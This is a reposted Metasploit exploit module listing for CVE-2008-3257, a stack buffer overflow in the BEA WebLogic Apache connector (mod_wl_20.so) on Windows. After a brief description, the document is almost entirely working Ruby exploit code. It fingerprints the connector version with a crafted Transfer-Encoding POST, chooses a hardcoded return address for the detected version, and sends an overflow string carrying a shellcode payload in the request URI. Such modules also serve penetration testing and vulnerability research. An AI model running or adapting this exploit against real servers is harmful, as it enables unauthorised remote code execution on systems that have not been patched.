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Oracle Weblogic Apache Connector POST Request Buffer Overflow

Oracle Weblogic Apache Connector POST Request Buffer Overflow
Posted May 18, 2012
Site metasploit.com

This Metasploit module exploits a stack based buffer overflow in the BEA Weblogic Apache plugin. The connector fails to properly handle specially crafted HTTP POST requests, resulting a buffer overflow due to the insecure usage of sprintf. Currently, this module works over Windows systems without DEP, and has been tested with Windows 2000 / XP. In addition, the Weblogic Apache plugin version is fingerprinted with a POST request containing a specially crafted Transfer-Encoding header.

tags | exploit, web, overflow
systems | windows
advisories | CVE-2008-3257, OSVDB-47096
SHA-256 | c5633687f5d4dea297197de9035ee5ddaf873d0ee50394f6fa17d80638863e7f

Oracle Weblogic Apache Connector POST Request Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

HttpFingerprint = { :pattern => [ /Apache/ ] }

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the BEA
Weblogic Apache plugin.

The connector fails to properly handle specially crafted HTTP POST
requests, resulting a buffer overflow due to the insecure usage
of sprintf. Currently, this module works over Windows systems without DEP,
and has been tested with Windows 2000 / XP.

In addition, the Weblogic Apache plugin version is fingerprinted with a POST
request containing a specially crafted Transfer-Encoding header.
},
'Author' =>
[
'KingCope', # Vulnerability Discovery and PoC
'juan vazquez', # Metasploit Module
],
'Version' => '$Revision: $',
'References' =>
[
[ 'CVE', '2008-3257' ],
[ 'OSVDB', '47096' ],
[ 'BID', '30273' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Platform' => 'win',
'Payload' =>
{
'Space' => 4000,
'BadChars' => "\x00\x0d\x0a\x3f"
},
'Targets' =>
[
[ 'Automatic', {} ],
[ 'BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
{
'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so
'Offset' => 4102
}
],
[ 'BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
{
'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so
'Offset' => 4102
}
],
[ 'BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',
{
'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so
'Offset' => 4102
}
]
],
'DisclosureDate' => 'Jul 17 2008',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),
], self.class)

end


def check

fingerprint = fingerprint_mod_wl

case fingerprint
when /Version found/
return Exploit::CheckCode::Vulnerable
when /BEA WebLogic connector vulnerable/
return Exploit::CheckCode::Appears
when /BEA WebLogic connector undefined/
return Exploit::CheckCode::Detected
when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/
return Exploit::CheckCode::Safe
end

end

def exploit

# Autodetect BEA mod_wl version
my_target = get_target

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("BEA mod_weblogic not supported")
return
end

uri = target_uri.path
sploit = rand_text_alphanumeric(my_target['Offset']-uri.length)
sploit << [my_target.ret].pack("V")
sploit << payload.encoded

send_request_cgi({
'method' => 'POST',
'uri' => "#{uri} #{sploit}",
})

handler

end

def get_target

return target if target.name != 'Automatic'

fingerprint = fingerprint_mod_wl

case fingerprint
when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/
return targets[1]
when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/
return targets[2]
when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/
return targets[3]
else
return nil
end

end

def fingerprint_mod_wl

my_data = rand_text_alpha(rand(5) + 8)
res = send_request_cgi(
{
'method' => 'POST',
'uri' => target_uri.path,
'headers' =>
{
'Transfer-Encoding' => my_data
},
'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",
})

if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/
# BEA WebLogic 8.1 SP6 - mod_wl_20.so
case res.body
when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)
return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"
# BEA WebLogic 8.1 SP5 - mod_wl_20.so
when (/Build date\/time:<\/B> <I>Aug 5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)
return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"
when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)
return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"
# Check for dates prior to patch release
when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/
build_date = Date.parse($1)
if build_date <= Date.parse("Jul 28 2008")
return "BEA WebLogic connector vulnerable"
else
return "BEA WebLogic connector no vulnerable"
end
else
return "BEA WebLogic connector undefined"
end
end

return "BEA WebLogic connector not found"

end

end
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